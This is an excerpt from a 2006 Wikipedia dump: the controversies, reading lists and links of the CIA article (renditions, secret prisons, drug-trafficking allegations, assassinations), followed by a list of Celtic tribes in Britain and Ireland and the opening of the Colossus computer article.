On [[November 5]] [[2002]], newspapers reported that [[Al-Qaeda]] operatives in a car travelling through [[Yemen]] had been killed by a missile launched from a CIA-controlled [[RQ-1 Predator|Predator drone]] (a medium-altitude, remote-controlled aircraft).  On [[May 15]], [[2005]], it was reported [http://www.washingtonpost.com/wp-dyn/content/article/2005/05/14/AR2005051401121.html] that another of these drones had been used to assassinate [[Al-Qaeda]] figure [[Haitham al-Yemeni]] inside [[Pakistan]].

In June 2005, two events occurred that may shape future CIA operations.

Arrest warrants for 13 CIA agents were issued in [[Italy]]. The agents are alleged to have taken a suspected Egyptian terrorist from [[Milan]] on [[17 February]] 2003 for [[extraordinary rendition]] to [[Egypt]], where according to relatives of the cleric, he was allegedly tortured. The removal of the terrorist wasn't unusual except that the Italian government has denied having approved the rendition.  Similar operations of this sort have occurred worldwide since 9/11, the vast majority with at least tacit approval by the national government. Additionally, it allegedly disrupted Italian attempts to penetrate the terrorist's [[Al Qaeda]] network [http://news.independent.co.uk/europe/story.jsp?story=650032]. The [[New York Times]] reported soon after that it is highly unlikely that the CIA agents involved would be extradited, despite the US-Italy bilateral treaty regarding extraditions for crimes that carry a penalty of more than a year in prison. The agents involved in the operation are also reported to have booked lavish hotels during the operation and taken taxpayer-funded vacations after it was complete. [http://www.alternet.org/story/23683/]

Soon after, President Bush appointed the CIA to be in charge of all human intelligence and manned spying operations. This was the apparent culmination of a years old turf war regarding influence, philosophy and budget between the [[Defense Intelligence Agency]] of [[The Pentagon]] and the Central Intelligence Agency. The Pentagon, through the DIA, wanted to take control of the CIA's paramilitary operations and many of its human assets. The CIA, which has for years held that human intelligence is the core of the agency, successfully argued that the CIA's decades long experience with human resources and civilian oversight made it the ideal choice. Thus, the CIA was given charge of all US human intelligence, but as a compromise, the Pentagon was authorized to include increased paramilitary capabilities in future budget requests.

Despite reforms which have led back to what the CIA considers its traditional principal capacities, the CIA Director position has lost influence in the White House. For years, the Director of the CIA met regularly with the President to issue daily reports on ongoing operations. After the creation of the post of the [[National Intelligence Director]], currently occupied by [[John Negroponte]], that practice has been discontinued in favor of the National Intelligence Director, with oversight of all intelligence, including DIA operations outside of CIA jurisdiction, giving the report. Current CIA Director [[Porter Goss]], himself a former CIA officer, denies this has had a diminishing effect on morale, in favor of promoting his singular mission to reform the CIA into the lean and agile counter-terrorism focused force he believes it should be.

On [[December 6]] [[2005]], German [[Khalid El-Masri]] filed a lawsuit against former CIA Director George Tenet, claiming that he was transported from [[Republic of Macedonia|Macedonia]] to a prison in Afghanistan and held captive there by the CIA for 5 months on a case of mistaken identity. Two months after his true identity had been found out, he had been taken to [[Albania]] and released without funds or an official excuse.

=== Support for foreign dictators ===
The activities of the CIA have caused considerable political controversy both in the United States and in other countries, often nominally friendly to the United States, where the agency has operated (or been alleged to).  Particularly during the [[Cold War]], the CIA supported a long list of [[dictator]]s, including Chile's
infamous [[Augusto Pinochet]], a number of dictatorships in Central America, the Shah of Iran, and the despots in Saudi Arabia, Kuwait and Indonesia, who have been friendly to perceived U.S. geopolitical interests (namely [[anti-Communism]], providing access to oil companies and other multi-national corporations and implementing a liberal economic system), sometimes over democratically-elected governments.

Often cited as one of the American intelligence community's biggest blunders is the CIA involvement in equipping and training [[Mujahedeen]] fighters in Afghanistan in response to the Soviet invasion of the country. The [[Mujahedeen]] trained by the CIA later formed [[Osama bin Laden]]'s Al Qaeda terrorist organization. [[Zbigniew Brzezinski]], the National Security Advisor under President [[Jimmy Carter|Carter]], has [[Zbigniew Brzezinski#Afghanistan|discussed]] U.S. involvement in Afghanistan in several publications.

Later, the CIA facilitated the so-called [[Reagan Doctrine]], channelling weapons and other support (in addition to the Mujahedeen and the Contras) to [[Jonas Savimbi]]'s [[National Union for Total Independence of Angola|UNITA]] rebel movement in Angola in response to [[Cuba]]n military support for the [[Popular Movement for the Liberation of Angola|MPLA]], thus turning an otherwise low-profile African civil war into one of the larger battlegrounds of the Cold War.

===Highly-illegal activities===
The Intelligence Community in the 21st Century, Staff Study, Permanent Select Committee on Intelligence, House of Representatives, One Hundred Fourth Congress: [http://www.loyola.edu/dept/politics/intel/ic21_files/ic21009.html]

&lt;blockquote&gt;&quot;Most of the operations of the CS [Clandestine Service] are, by all accounts, the
most tricky, politically sensitive, and troublesome of those in the
IC [Intelligence Community] and frequently require the DCI's [Director of Central      Intelligence's] close personal attention.  The [Clandestine Service] is the only part of the [Intelligence Community], indeed of the government, where hundreds of employees on a daily basis are directed to break extremely serious laws in countries around the world in the face of frequently sophisticated efforts by foreign governments to catch them. A safe estimate is that several hundred times every day (easily 100,000 times a year) DO [Directorate of Operations] officers engage in highly illegal activities (according to foreign law) that not only risk political embarrassment to the U.S. but also endanger the freedom if not lives of the participating foreign nationals and, more than occasionally, of the clandestine officer himself.  In other words, a typical 28 year old, GS-11 case officer has numerous opportunities every week, by poor tradecraft or inattention, to embarrass his country and President and to get agents imprisoned or executed. Considering these facts and recent history, which has shown that the DCI, whether he wants to or not, is held accountable for overseeing the CS, the DCI must work closely with the Director of the CS and hold him fully and directly responsible to him.&quot;&lt;/blockquote&gt;
&lt;!--However, it is important to understand that both the passive and active collection of information from informant-agents and technological means such reconaissance satellites regarding the means, methods, and plans of foreign governments or organizations is usually deemed as illegal by foreign entities.  Unfortunately, given the state of the world as it exists today, regrettably illegal methods of information acquisition - eavesdropping and spying, are the most effective means of gaining &quot;actionable intelligence&quot;.--&gt;

=== Criticism for ineffectiveness ===
The agency has also been criticized for ineffectiveness as an intelligence gathering agency. These criticisms included allowing a [[double agent]], [[Aldrich Ames]], to gain high position within the organization, and for focusing on finding informants with information of dubious value rather than on processing the vast amount of [[open source intelligence]].  In addition, the CIA has come under particular criticism for failing to predict the [[collapse of the Soviet Union]] and [[India]]'s [[nuclear test]]s or to forestall the [[September 11, 2001 attacks]].

Conversely, proponents of the CIA respond by stating that only the failures become known to the public, whereas the successes cannot be known until decades have passed.  Immediate release of successful operations would reveal operational methods to foreign intelligence, which could affect future and/or ongoing missions. Some successes for the CIA include the [[Lockheed U-2|U-2]] and [[SR-71]] programs, anti-[[Soviet Union|Soviet]] operations in [[Afghanistan]] in the mid-[[1980s]] (though with the serious downsides noted earlier, the ultimate worth of these operations is open to considerable debate), and perhaps others which may not come to light for some time.

=== Drug trafficking ===
Allegations have repeatedly been made that the CIA has been involved in drug trafficking to fund illegal operations. For example, it has been alleged that the CIA was involved in the sale of cocaine in Los Angeles to help fund the [[Iran-Contra Affair]] (see [http://www.csun.edu/CommunicationStudies/ben/news/cia/]). Ms. Waters, stated in Congress:
:In 1982, the Attorney General and the Director of Central Intelligence entered into an agreement that excluded the reporting of narcotics and drug crimes by the CIA to the Justice Department. Under this agreement, there was no requirement to report information of drug trafficking and drug law violations with respect to CIA agents, assets, non-staff employees and contractors. This remarkable and secret agreement was enforced from February 1982 to August of 1995. This covers nearly the entire period of U.S. involvement in the Contra war in Nicaragua and the deep U.S. involvement in the counterinsurgency activities in El Salvador and Central America. [http://www.csun.edu/CommunicationStudies/ben/news/cia/7May98/waters2.html]

On October 8, 1998, CIA Inspector General Hitz published Volume Two of his internal investigation of CIA connections with crack distribution in the United States and with Latin American drug dealers. The report published evidence that drug trafficking and money laundering had made its way into Reagan's National Security Council. The report describes how the Reagan-Bush administration had deliberately thwarted federal investigations into drug crimes by protecting more than 50 contras and other drug traffickers. ([[Gary Webb]]; &quot;Dark Alliance&quot; by Gary Webb; &quot;Whiteout&quot; by Alexander Cokburn.)

It has also been alleged that the CIA has been involved in the opium/heroin trade in Asia. (see [http://www.serendipity.li/cia.html]).

=== Assassinations ===
The CIA has been linked to several assassination attempts on foreign leaders, including former leader of Panama [[Omar Torrijos]] and the President of Cuba, [[Fidel Castro]]. (See [[Church Committee]])

On [[January 13]], 2006, the CIA launched an [[Damadola airstrike|airstrike on Damadola]], a [[Pakistan]]i village near the Afghan border, where they believed [[Ayman al-Zawahiri]] was located. The airstrike killed eight men, five women and five children but al-Zawahiri was not among them. At least four known terrorists were killed in the attack. The Pakistan government issued a strong protest against the US attack, considered a violation of Pakistan's sovereignty. [http://www.timesonline.co.uk/article/0,,2089-1986114,00.html] [http://www.paktribune.com/news/index.php?id=130830]

===CIA operations in Iraq===
According to certain authors[http://www.muslimedia.com/archives/features98/saddam.htm] [http://www.globalpolicy.org/security/issues/iraq/history/1963cialist.htm] [http://www.zmag.org/shalomhate.htm]
[http://www.informationclearinghouse.info/article2849.htm] the CIA appears to have supported the 1963 military [[coup]] in [[Iraq]] and the subsequent [[Saddam Hussein]]-led government up until the point of the 1990 Iraqi invasion of [[Kuwait]]. U.S. support was predicated on the notion that Iraq was a key buffer state in relations with the [[Soviet Union]]. There are court records [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82/iraq61.pdf] indicating that the CIA gave military and monetary assistance to Iraq during the [[Iran-Iraq War]]. The CIA were also involved in the failed 1996 coup against Saddam Hussein (see [[Iyad Allawi]]).

In 2002 an unnamed source, quoted in the [[Washington Post]], says that the CIA was authorized to undertake a covert operation, if necessary with help of the [[Special Forces]], that could serve as a preparation for a full-scale military attack of Iraq. [http://www.cnn.com/2002/ALLPOLITICS/06/16/iraq.congress/]

The unreliability of U.S. intelligence on [[weapons of mass destruction]] in Iraq have been a focus of intense scrutiny in the U.S. In 2004, the continuing armed resistance against the U.S. invasion of Iraq, and the widely perceived need for [[systematic review]] of the respective roles of the CIA, [[FBI]] and the [[Defense Intelligence Agency]] are prominent themes.
On [[July 9]] [[2004]] the [[Senate Report of Pre-war Intelligence on Iraq]] of the [[Senate Intelligence Committee]] stated that the CIA described the danger presented by [[weapons of mass destruction]] in [[Iraq]] in an unreasonable way, largely unsupported by the available intelligence. [http://www.nytimes.com/2004/07/09/national/09CND-INTEL.html?hp]
Nevertheless, the weapons of mass destruction remain unaccounted for today.

===Secret CIA prisons===
A story by reporter [[Dana Priest]] published in ''[[The Washington Post]]'' of [[November 2]] [[2005]], reported: &quot;The CIA has been hiding and interrogating some of its most important alleged al Qaeda captives at a Soviet-era compound in Eastern Europe, according to U.S. and foreign officials familiar with the arrangement.&quot;[http://www.washingtonpost.com/wp-dyn/content/article/2005/11/01/AR2005110101644_pf.html] However, a Council of Europe investigation has found no evidence that such prisons exist. [http://www.nytimes.com/2006/01/24/international/europe/24cnd-cia.html?_r=1]

The report contends that the CIA has a worldwide [[CIA prison system|covert prison system]] with facilities in Asia, Eastern Europe, and in Guantanamo Bay in Cuba. The system is central to the agency's anti-terror role, and according to the report has been kept secret from government officials (including Congressional committees that oversee the CIA) through the agency's own efforts as well as cooperation with foreign intelligence services.

Priest's story continues:

&lt;blockquote&gt;&quot;The existence and locations of the facilities &amp;ndash; referred to as &quot;[[black site]]s&quot; in classified White House, CIA, Justice Department and congressional documents &amp;ndash; are known to only a handful of officials in the United States and, usually, only to the president and a few top intelligence officers in each host country... The secret facility is part of a covert prison system set up by the CIA nearly four years ago that at various times has included sites in eight countries, including Thailand, Afghanistan and several democracies in Eastern Europe, as well as a small center at the Guantanamo Bay prison in Cuba, according to current and former intelligence officials and diplomats from three continents.&quot;&lt;/blockquote&gt;

The [[BBC]] has followed up on these reports and ztates that there is credible [[evidence]] of covert prisons. [http://news.bbc.co.uk/2/hi/americas/4088746.stm]

[[Trent Lott]] also appears to have confirmed their existence.
[http://rawstory.com/news/2005/Senator_tells_CNN_he_believes_Republican_1108.html]

On [[November 8]] [[2005]] U.S. [[Senate Majority Leader]] [[Bill Frist]] and [[House Speaker]] [[Dennis Hastert]] called for a joint leak probe by the Senate and House intelligence committees into the disclosure of these alleged secret CIA facilities in a letter. In their letter (If the Post story is correct) &quot;such an egregious disclosure could have long-term and far-reaching damaging and dangerous consequences, and will imperil our efforts to protect the American people and our homeland from terrorist attacks.&quot;[http://news.yahoo.com/s/ap/20051108/ap_on_go_co/congress_media] 

The letter went on to ask: &quot;What is the actual and potential damage done to the national security of the United States and our partners in the global war on terror?&quot;

Republican Senator [[Lindsey O. Graham]] accused the Senate Majority Leader [[Bill Frist]] and Speaker [[J. Dennis Hastert]] of shifting the focus of investigations from why these prisons exist to how information of them was leaked to the public.

[[Spain]] is investigating allegations that the CIA used [[Palma]] airport for unauthorised prisoner transfers [http://news.bbc.co.uk/2/hi/europe/4439036.stm].

===Torture===
In December 2005, [[ABC News]] reported that former agents claimed the CIA used [[waterboarding]], along with five other &quot;Enhanced Interrogation Techniques&quot;, against suspected members of [[al Qaeda]] held in the secret prisons. [http://abcnews.go.com/WNT/Investigation/story?id=1375123] [http://abcnews.go.com/WNT/Investigation/story?id=1322866&amp;page=1]. Waterboarding is widely regarded as a form of [[torture]], though there are reports that President Bush signed a secret &quot;finding&quot; that it is not and authorizing its use. 

On [[13 December]], 2005 [[Dick Marty]], investigating illegal CIA activity in Europe on behalf of the [[Council of Europe]], reported evidence that &quot;individuals had been abducted and transferred to other countries without respect for any legal standards&quot;. Marty at a news conference said he believed that the United States had moved its illegally detained from Europe to North Africa in early November as a reaction to the Washington Post report.  Marty's investigation has found that no evidence exists establishing the existence of secret CIA prisons in Europe, but said there are enough &quot;indications&quot; to justify continuing the investigation. The report added, however, that it was &quot;highly unlikely&quot; that European governments were unaware of the American program of renditions.  Marty's interim report, which was based largely on a compendium of press clippings, has been described by the British Government as &quot;clouded in myth&quot; and &quot;as full of holes as Swiss cheese,&quot; and has been harshly criticised by the governments of various EU member states.[http://www.nytimes.com/2006/01/25/international/europe/25cia.html]

== Other ==
''Other Government Agency'', or ''OGA'', is the standard military and governmental euphemism for the CIA.  It is used when the CIA's presence is an open secret, but cannot be officially confirmed.[http://www.post-gazette.com/pg/03236/214533.stm] [http://www.yuricareport.com/PrisonerTortureDirectory/JordanLinksAbuGhraibToWhiteHouse.html] Other colloquial names for the CIA are '''The Agency''' and '''The Company'''.

A [[pejorative]] term for people who work for the CIA or other intelligence agencies is often &quot;spook&quot;; the phrase &quot;Virginia farmboys&quot; is also occasionally used in reference to the Langley, VA headquarters.

One of the CIA's publications, the [[CIA World Factbook]], is unclassified and is indeed made freely available without [[copyright]] restrictions because it is a work of the United States federal government.

The CIA publishes an in-house professional journal known as Studies in Intelligence. Unclassified articles are made available on a limited basis through Internet and other publishing mechanisms. A recent compilation of unclassified and declassified articles from the Journal was made available through the [[Sherman Kent School for Intelligence Analysis]]. A further annotated collection of articles was published through Yale University Press under the title Inside CIA's Private World.

The CIA budget is a well kept government secret, although [[The Washington Post]] claimed that it was $30 billion in 1998 [http://www.cato.org/dailys/7-28-97.html] [http://www.fas.org/sgp/news/1999/11/wp112999.html].

==Further reading==
* [[Lindsay Moran]], ''Blowing My Cover: My Life as a CIA Spy'' ([[Berkley Books]], 2005) ISBN 0425205622
* [[Christopher Andrew]], ''For the President's Eyes Only'' ([[HarperCollins]], 1996) ISBN 0006380719
* [[Robert Baer]], ''See No Evil: The True Story of a Ground Soldier in the CIA's War on Terrorism'' ([[Three Rivers Press]], 2003) ISBN 140004684X
* [[Robert Baer]], ''Sleeping with the Devil: How Washington Sold Our Soul for Saudi Crude'' ([[Crown]], 2003) ISBN 1400050219
* [[Antonio J. Mendez]], ''Master of Disguise: My Secret Life in the CIA'' ([[William Morrow and Company, Inc]], 1999) ISBN 0060957913
* [[Milton Bearden]] and [[James Risen]], ''The Main Enemy: The Inside Story of the CIA's Final Showdown With the KGB'', ([[Random House]], 2003) ISBN 067946309
* [[William Blum]], ''Killing Hope: U.S. Military and CIA Interventions Since World War II'' ([[Common Courage Press]], 2003) ISBN 1567512526 [http://www.thirdworldtraveler.com/Blum/KillingHope_page.html]
* [[Noam Chomsky]], ''Hegemony or Survival'' (Henry Holt &amp; Co., 2003) ISBN 0805076883, also ''Deterring Democracy'', also ''9/11''
* [[Loch K. Johnson]], ''America's Secret Power: The CIA in a Democratic Society'' ([[Oxford University Press]], 1991)
* [[Ronald Kessler]], ''Inside the CIA'' (1992, [[Pocket Books]] reissue 1994) ISBN 067173458X
* [[L. Fletcher Prouty]], ''Secret Team: The CIA and Its Allies in Control of the United States and the World'', Prentice Hall; (April 1973), ISBN 0137981732
* [[W. Thomas Smith, Jr.]], ''Encyclopedia of the Central Intelligence Agency'' ([[Facts on File]], 2003) ISBN 0816046670
* [[Frances Stonor Saunders]], ''The Cultural Cold War: The CIA and the World of Arts and Letters'' ([[New Press]], 1999) ISBN 1565846648 (aka, ''Who Paid the Piper?: CIA and the Cultural Cold War'' 1999 Granta [UK edition])
* [[Bob Woodward]], ''Veil'', ([[Pocket Books]], 1988) ISBN 0-671-66159-0
* [[H. Bradford Westerfield]], ed., ''Inside CIA's Private World: Declassified Articles from the Agency's Internal Journal, 1955-1992'' ([[Yale University Press]], 1997) ISBN 0300072643

==See also==
*[[List of proven conspiracies]]
*[[American Terrorism]]
* [[9/11 conspiracy theories]]
* [[The Agency]]- A CBS TV Series about The CIA
* [[Blowback (intelligence)|Blowback]]
* [[Church Committee]] - 1976 committee investigating intelligence gathering by the CIA and [[FBI]]
* [[CIA cryptonym]]
* [[CIA leak grand jury investigation]]
* [[conspiracy theory|Conspiracy theories]]
* [[Extraordinary rendition]]
* [[Gary Webb]] - American journalist, author of series on the Contra-crack cocaine connection
* [[In-Q-Tel]] - venture capital arm of the CIA
* [[Kennedy assassination theories]]
* [[List of U.S. foreign interventions since 1945]]
* [[Nonofficial cover]] - NOC
* [[Numbers station]]
* [[National Security Agency]]
* [[Technical Services Staff]]
* [[Helge Boes]]
* [[Robertson Panel]] - CIA program allegedly designed to make all who see/encounter UFOs/Aliens appear to be fools and idiots/mentally defective. {{seealso|UFO conspiracy theory}}
* [[Kryptos]]
===CIA insiders and &quot;whistleblowers&quot;===
* [[A.B. &quot;Buzzy&quot; Krongard]]
* [[John Stockwell]]
* [[L. Fletcher Prouty]]
* [[Philip Agee]]
* [[William Blum]]
* [[Robert Baer]]
* [[Ralph McGehee]]
===Other Countries===
{{main|List of intelligence agencies}}
====[[Australia]]====
*[[Australian Secret Intelligence Service]] (ASIS)
*[[Australian Security Intelligence Organisation]] (ASIO)
====[[New Zealand]]====
*[[New Zealand Security Intelligence Service]]
*[[Government Communications Security Bureau]]
====[[Canada]]====
*[[Canadian Foreign Intelligence Agency]]
*[[Canadian Security Intelligence Service]] (CSIS)
*[[Communications Security Establishment]] (CSE)
*[[Royal Canadian Mounted Police]] (RCMP)

====[[Russia]]====
*[[Foreign Intelligence Service]] (SVR)
====[[Israel]]====
*[[Mossad|Institute for Intelligence and Special Tasks]] (Mossad)
====[[India]]====
*[[Research and Analysis Wing]] (RAW)
====[[United Kingdom]]====
*[[MI6]]
*[[MI5]]
====[[Philippines]]====
*[[National Intelligence Coordinating Agency]] (NICA)
*[[National Bureau of Investigation]] (NBI)

==External links==
{{Commons|{{PAGENAME}}}}
===Official websites and documents===
* [http://www.cia.gov/ CIA official site]
* [http://www.foia.cia.gov/ CIA official Freedom of Information Act (foia) site]
* [http://www.gwu.edu/~nsarchiv/index.html George Washington University National Security Archive]:
** [http://www.gwu.edu/~nsarchiv/news/20000919/ Documents on CIA involvement with Pinochet]
** [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB4/index.html On CIA involvement in Guatemala]
** [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB146/ On CIA involvement with Nazi War Criminals (especially the Gehlen organization)]
* [http://www.archives.gov/iwg/index.html U.S. National Archive's Nazi War Crimes and Japanese Imperial Government Records Interagency Working Group.]
** [http://www.archives.gov/iwg/declassified_records/rg_263_cia_records/rg_263_report.html Summary of newly acquired CIA name files (including Klaus Barbie)]
* [http://www.parascope.com/articles/0397/kubark06.htm CIA manual on coercive questioning]

===Other===
* ''ISRIA'', HTML, [http://www.isria.com/en/free/0000026.php The Relations between the CIA and the Executive Power since 2001], February 5, 2006.
* ''ISRIA'', PDF, [http://www.isria.com/en/free/File1_NOMIKOS_15jan06.pdf The Role of Open Sources in Intelligence], December 31, 2005.
* [http://www.thirdworldtraveler.com/CIA/CIA_Diary_Agee.html Book excerpt from a leading whistleblower (Philip Agee)]
* [http://www.rotten.com/library/conspiracy/cia/ CIA information at Rotten.com]
* [http://www.cia-on-campus.org/ CIA on Campus]
* [http://www.libcom.org/history/articles/cultural-cold-war/ The Cultural Cold War by Nathaniel Catchpole]
* [http://www.copvcia.com Cop vs. CIA ] (From the Wilderness)
* [http://www.in-q-tel.com/ In-Q-Tel official site]
* [http://members.aol.com/bblum6/American_holocaust.htm Killing Hope by William Blum]
* [http://www.csun.edu/CommunicationStudies/ben/news/cia/ On alleged CIA drug-smuggling]
* [http://montages.blogspot.com/2005/01/outsourcing-intelligence.html &quot;Outsourcing Intelligence&quot;]
*[http://fpiarticle.blogspot.com/2005/03/meet-first-president-of-world.html  Video: &quot;Meet the first President of the World Psychiatric Association&quot; - Free Press international 3.18.2005]
* [http://www.gwu.edu/~nsarchiv/ National Security Archives]

==Footnotes==
# {{note|5000}} {{cite book | author= Pilger, John | url = http://www.livejournal.com/users/bailey83221/51603.html | title = The New Rulers of the World | publisher= Verso| year= 2002| id=ISBN 185984412X | pages = p. 31-32 }} (Link is excerpts of book);  {{cite journal | author= Kadane, Kathy | title= Ex-agents say CIA compiled death lists for Indonesians | journal= San Francisco Examiner| year= May 20, 1990 | volume= | issue= | pages= | url= http://www.namebase.org/kadane.html}} ; The same article appeared in the [[Washington Post]] May 21, 1990, South Carolina [[Herald-Journal]] on May 19, 1990, and the [[Boston Globe]] on May 23, 1990.
# {{note|blood}} Pilger p. 32
# {{note|1965}} Pilger p. 32
# {{note|1968}} Kadane, Kathy; see above. [[Time magazine]] hailed Suharto's &quot;New Order&quot; as &quot;the West's best news for years in Asia.&quot; {{cite journal | author= | title= | journal= Time| year=July 15, 1966 | volume= | issue= | pages= | url= }}, 

{{Cold War}}

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[[Category:1947 establishments]]
[[Category:Anti-communism]]
[[Category:Central Intelligence Agency|*]]
[[Category:CIA operations]]
[[Category:Cold War]]
[[Category:Terrorism]]
[[Category:United States intelligence agencies]]

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[[bg:Централно разузнавателно управление]]
[[bs:Central Intelligence Agency]]
[[ca:Agència Central d'Intel·ligència]]
[[cs:CIA]]
[[da:CIA]]
[[de:Central Intelligence Agency]]
[[el:Central Intelligence Agency]]
[[eo:CIA]]
[[es:Agencia Central de Inteligencia]]
[[et:CIA]]
[[fa:سازمان سیا]]
[[fi:CIA]]
[[fr:Central Intelligence Agency]]
[[gl:Central Intelligence Agency]]
[[he:CIA]]
[[hu:CIA]]
[[id:CIA]]
[[it:Central Intelligence Agency]]
[[ja:アメリカ中央情報局]]
[[ko:미국 중앙정보국]]
[[nl:Central Intelligence Agency]]
[[nn:Central Intelligence Agency]]
[[no:Central Intelligence Agency]]
[[pl:CIA]]
[[pt:Central Intelligence Agency]]
[[ro:Central Intelligence Agency]]
[[ru:Центральное разведывательное управление]]
[[sl:Centralna obveščevalna agencija]]
[[sr:ЦИА]]
[[sv:CIA]]
[[tr:CIA]]
[[yi:CIA]]
[[zh:中央情报局]]
[[zh-min-nan:Tiong-iong Chêng-pò-kio̍k]]</text>
    </revision>
  </page>
  <page>
    <title>Celtic tribes in Britain and Ireland</title>
    <id>6228</id>
    <revision>
      <id>40788246</id>
      <timestamp>2006-02-23T00:46:24Z</timestamp>
      <contributor>
        <username>SCVirus</username>
        <id>401740</id>
      </contributor>
      <minor />
      <comment>moved [[Celtic tribes in the Britain and Ireland]] to [[Celtic tribes in Britain and Ireland]]: my bad.</comment>
      <text xml:space="preserve">Some of the known '''[[Celt]]ic tribes in [[Britain and Ireland]]''' were as follows:

*The [[Atrebates]] were an important tribe in Southern [[England]]. 
*The [[Brigantes]] were an important tribe in northern [[England]]. 
*The [[Caledonians]] inhabited present-day [[Scotland]].
*The [[Belgae]] settled various places in eastern and southern England.
*The [[Dobunni]] lived in the [[Cotswolds]] and the [[Severn]] valley.
*The [[Dumnonii]] occupied what are now [[Devon]], [[Cornwall]] and [[Somerset]].
*The [[Durotriges]] inhabited [[Dorset]] and south [[Wiltshire]].
*The [[Iceni]], who under [[Boudica]] rebelled against the [[Roman Empire|Roman]] rule of ancient [[East Anglia]].
*The [[Ordovices]] who waged guerrilla warfare from the north [[Wales]] hills.
*The [[Parisii]] settled east [[Yorkshire]] and [[Humberside]].
*The [[Scotti]] lived in northern [[Ireland]] and settled the western portion of Scotland which then became known as the [[Dalriada]].
*The [[Silures]] likewise resisted the Romans in present-day south Wales.
*The [[Trinovantes]] and the [[Catuvellauni]] were tribes neighbouring the Iceni, and who joined in their rebellion.
*The [[Cantiaci]] lived in the area of present-day [[Kent]] and give the county its name.
*The [[Votadini]] lived in north-east England and south-east Scotland and later formed [[Gododdin]].
*The [[Coritani]] also called [[Corieltauvi]] inhabited the east midlands and [[Leicester]].

{{disambig}}

[[Category:Ancient Britons]]</text>
    </revision>
  </page>
  <page>
    <title>Colossus computer</title>
    <id>6229</id>
    <revision>
      <id>42030867</id>
      <timestamp>2006-03-03T09:10:51Z</timestamp>
      <contributor>
        <ip>81.153.49.19</ip>
      </contributor>
      <comment>/* Purpose and origins */</comment>
      <text xml:space="preserve">[[Image:Colossus.jpg|right|300px|thumb|A Colossus Mark II computer. The slanted control panel on the left was used to set the pin patterns on the Lorenz; the paper tape transport is on the right.]]

The '''Colossus''' machines were early computing devices used by British [[codebreaker]]s to read encrypted German messages during [[World War II]]. Colossus was an early electronic digital [[computer]].

Colossus was designed by engineer [[Tommy Flowers]] at the [[Post Office Research Station]], [[Dollis Hill]]. The prototype, '''Colossus Mark I''', was operational at [[Bletchley Park]] in February 1944.  An improved '''Colossus Mark II''' was first installed in June 1944, and ten Colossi had been constructed by the end of the war.

The Colossus computers were used to help decipher [[teleprinter]] messages which had been [[encryption|encrypted]] using the [[Lorenz SZ40/42]] machine. Colossus compared two data streams, performing counts based on a programmable boolean function. One stream was read at high speed from a paper tape. The other was generated internally, and was an electronic simulation of the Lorenz machine at various trial settings. If the count for a setting was above a certain threshold, it would be output on an electric typewriter.

==Purpose and origins==
[[Image:SZ42-6-wheels.jpg|right|280px|thumbnail|The Lorenz machine was used by the Germans to encrypt high-level teleprinter communications. It contained 12 wheels with a total of 501 pins.]]
The Colossus computers were used in the [[cryptanalysis]] of high-level German communications, messages which had been encrypted using the [[Lorenz SZ 40/42]] cipher machine; part of the operation of Colossus was to emulate the mechanical Lorenz machine electronically. To encrypt a message with the Lorenz machine, the [[plaintext]] was combined with a stream of key [[bit]]s, grouped in fives. The key stream was generated using twelve [[pinwheel (cryptography)|pinwheel]]s: five were termed (by the British) &lt;math&gt;\chi&lt;/math&gt; (&quot;[[chi (letter)|chi]]&quot;) wheels, another five &lt;math&gt;\psi&lt;/math&gt; (&quot;[[psi (letter)|psi]]&quot;) wheels, and the remaining two the &quot;motor wheels&quot;. The &lt;math&gt;\chi&lt;/math&gt; wheels stepped regularly with each letter that was encrypted, while the &lt;math&gt;\psi&lt;/math&gt; wheels stepped irregularly, controlled by the motor wheels. 

[[Bill Tutte]], a cryptanalyst at [[Bletchley Park]], discovered that the keystream produced by the machine exhibited statistical biases deviating from random, and that these biases could be used to break the cipher and read messages. In order to read messages, there were two tasks that needed to be performed. The first task was ''wheel breaking'', which was discovering the pin patterns for all the wheels. These patterns were setup once on the Lorenz machine and then used for a fixed period of time and for a number of different messages. The second task was ''wheel setting'', which could be attempted once the pin patterns were known. Each message encrypted using Lorenz was enciphered at a different start position for the wheels. The process of wheel setting found the start position for a message. Initially Colossus was used to help with wheel setting, but later it was found it could also be adapted to the process of wheel breaking as well.

Colossus was operated in the ''Newmanry'', the section at [[Bletchley Park]] responsible for machine methods against the Lorenz machine, headed by the mathematician [[Max Newman]].

Colossus developed out of a prior project which produced a special purpose opto-mechanical comparator machine called the Robinson after [[Heath Robinson]]. The main problem with Robinson was synchronising two [[punched tape|paper tapes]], one punched with the enciphered message, the other representing the patterns produced by the wheels of the Lorenz machine, that tended to stretch when being read at over 1000 characters per second, resulting in unreliable counts. Colossus solved this problem by reproducing one of the tapes electronically. The remaining single tape could be fed through Colossus at a higher speed and could be counted much more reliably.

==The construction of Colossus==
[[Tommy Flowers]], an engineer brought in to assist with machinery to break the [[Enigma machine]], spent ten months building Colossus at the [[Post Office Research Station]], [[Dollis Hill]], North London. Work on the design of the Mark I started early in February 1943, and the machine was assembled at Bletchley Park and tested on [[8 December]] [[1943]]. By February 1944, the Colossus was in operational use by the codebreakers. It was followed into service by nine Mark II Colossus machines, the first installed in June 1944. An eleventh Colossus was under construction at the end of the war.

Colossus Mark I contained 1,500 electronic valves &amp;ndash; by comparison, early stored program computers like the [[Manchester Mark I]] used about 4,000 and [[ENIAC]] about 18,000.

Colossus dispensed with the second tape by generating the wheel patterns electronically, and could process 5,000 characters (40 feet / 12m of tape) per second. The Colossus Mark II was simpler to operate as well as being more advanced, and so greatly speeded the deciphering process, which was largely still carried out by hand. 

Colossus included the first ever use of [[shift register]]s and [[systolic array]]s, enabling five simultaneous tests, each involving up to 100 [[Boolean algebra|Boolean calculations]], on each of the five channels on the punched tape (although in normal operation only one or two channels were examined in any run).

Initially Colossus was only used to determine the initial wheel positions used for a particular message (termed ''wheel setting''); the Mark II included mechanisms intended to help determine pin patterns (''wheel breaking''). Both models were programmable using switches and plug panels, in a way the Robinsons had not been.

==Design and operation==
[[Image:Colossus-rebuild.jpg|right|thumbnail|320px|In 1994, a team led by Tony Sale began a reconstruction of a Colossus.]]
Colossus used state-of-the-art [[vacuum tube]]s ([[valve]]s), [[thyratron]]s and [[photomultiplier]]s to optically read a paper tape and then applied a programmable logical function to every character, counting how often this function returned &quot;true&quot;. Although valves were generally considered to be liable to high failure rates it was recognised that failure occurred at power on and off so the Colossus machines, once turned on, were never powered down until the end of the war.

